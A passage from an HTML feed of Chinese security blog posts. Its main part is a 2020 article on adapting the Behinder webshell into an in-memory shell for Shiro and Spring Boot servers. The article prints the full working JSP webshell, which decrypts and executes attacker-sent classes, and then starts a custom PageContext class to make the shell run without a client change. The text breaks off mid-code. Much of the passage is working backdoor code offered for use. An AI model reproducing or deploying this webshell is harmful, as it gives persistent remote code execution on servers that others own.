&#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">0x04 参考链接</span></h3><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://www.cnblogs.com/Matrix_Yao/archive/2009/12/02/1615295.html" target="_blank">https://www.cnblogs.com/Matrix_Yao/archive/2009/12/02/1615295.html</a></p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://blog.csdn.net/qq78442761/article/details/54880328" target="_blank">https://blog.csdn.net/qq78442761/article/details/54880328</a></p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/loyalty-fox/idshwk7" target="_blank">https://github.com/loyalty-fox/idshwk7</a></p><p><br/></p>



<p><a href="2247484591">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=840decf4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484591%26idx%3D1%26sn%3D73df21ec5356d3c695befcd40c294383%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 18 Aug 2020 13:00:00 +0800</pubDate>
    </item>
    <item>
      <title>冰蝎改造之不改动客户端=&gt;内存马</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484318&amp;idx=1&amp;sn=ece9e52218be0ea84ef166c3bfd20f23</link>
      <description>前言看了内存reGeorge之后，觉得很有趣，复现完之后开始想着怎么玩点骚的</description>
      <content:encoded><![CDATA[<p>
原创 <span>PassFoam</span> <span>2020-07-26 12:36</span> <span style="display: inline-block;"></span>
</p>

<p>前言看了内存reGeorge之后，觉得很有趣，复现完之后开始想着怎么玩点骚的</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3ca73ddc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvfjyz1LBibkY4KW1AceK8VQvAd9eTH8xCJLNyXYtaeoCWRUKiaqsEByaKib1jtu5MTqakpnibflO15C8A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 24px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">前言</span><span style="box-sizing: border-box;"></span></h1><blockquote style="box-sizing: border-box;margin-top: 20px;margin-bottom: 20px;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;"><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">做了login me again之后，觉得很有趣，复现完之后开始想着怎么玩点骚的，在我们日常使用中，与其要做一个reGeorge（reGeorge mac内网不解析dns太坑了），实际上大马可能才是正在的需求，而开源工具中还是冰蝎大家最爱用，虽然现在被各种流量检测，但是各家都有自己的免杀手段，所以这里就简单的教大家如何把东西注入shiro+spring环境中（这个环境比较有代表性</p></blockquote><h1 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 24px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">原始的马</span><span style="box-sizing: border-box;"></span></h1><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">&lt;%@page import=&#34;java.util.*,javax.crypto.*,javax.crypto.spec.*&#34; %&gt;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">&lt;%!</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    class U extends ClassLoader {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        U(ClassLoader c) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            super(c);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        public Class g(byte[] b) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            return super.defineClass(b, 0, b.length);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">%&gt;&lt;%</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    if (request.getParameter(&#34;pass&#34;) != null) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        String k = (&#34;&#34; + UUID.randomUUID()).replace(&#34;-&#34;, &#34;&#34;).substring(16);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        session.putValue(&#34;u&#34;, k);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        out.print(k);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        return;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    Cipher c = Cipher.getInstance(&#34;AES&#34;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    c.init(2, new SecretKeySpec((session.getValue(&#34;u&#34;) + &#34;&#34;).getBytes(), &#34;AES&#34;));</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">%&gt;</span></code></pre></section><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">代码美化之后不难发现，里面使用了<code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Tomact</code>中的<code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PageContext</code>,位于<code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">javax.servlet.jsp.PageContext</code>,但是在Springboot中实现的是只有tomcat核心，也就是阉割版本的tomacat，恰好这个是没有的，因此这么获取成了关键</p><blockquote style="box-sizing: border-box;margin-top: 20px;margin-bottom: 20px;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;"><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">PS: 关于没有PageContext的解决方案，之前已经有了一篇文章<a href="https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ" target="_blank">https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ</a> ，最大的问题是要修改客户端，对我们这样的菜鸡来说很难，而且还让自己的工具包变臃肿，本次不再改变客户端的情况，完成内存马的注入</p></blockquote><h1 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 24px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">改造开始</span><span style="box-sizing: border-box;"></span></h1><blockquote style="box-sizing: border-box;margin-top: 20px;margin-bottom: 20px;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;"><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">下面基于读者已经理解了，如何写入reGeorge内存马为基础，如有疑问，请去查看 <a href="https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA" target="_blank">https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA</a> 以及login me again wp</p></blockquote><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">首先先了解冰蝎的执行思路</p></section></li><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">密钥交换pass，pass存储在session中</p></section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">AES解码后将传入的数据进行解码，解码后还原要加载的字节码，实例化后，调用equals函数，传入pageContext，通过pageContext带出回显</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 4px;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">String result = buildJson(entity, true);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 4px;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">      String key = page.getSession().getAttribute(&#34;u&#34;).toString();</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 4px;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">      ServletOutputStream so = page.getResponse().getOutputStream();</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 4px;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">      so.write(Encrypt(result.getBytes(), key));</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 4px;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">      so.flush();</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 4px;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">      so.close();</span></code></pre></section></section></li></ol><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">于是乎我们对PageContxt的要求也就出来了</p></section></li><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">classname ： <code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">javax.servlet.jsp.PageContext</code></section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">实现 setResponse() getResponse() getSession() setRequest() getResponse()</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">这里的response就需要调用当前环境中的response，所以就拿最简单的<code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ServeletRequest</code>,好消息是getSession这个函数也是自带的，就很舒服，只需要cast一下即可。</section></li></ol></ul><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">最后的<code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PageContext</code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">public class PageContext  {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    ServletRequest request;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    ServletResponse response;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public Writer getOut(){</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        return null;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public PageContext(ServletRequest request, ServletResponse response) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        this.request = request;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        this.response = response;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public PageContext(){</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public void setRequest(ServletRequest request) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        this.request = request;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public void setResponse(ServletResponse response){</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        this.response = response;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public HttpSession getSession() {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        HttpServletRequest test = (HttpServletRequest) this.request;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        return test.getSession();</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public ServletRequest getRequest() {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        return  this.request;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: 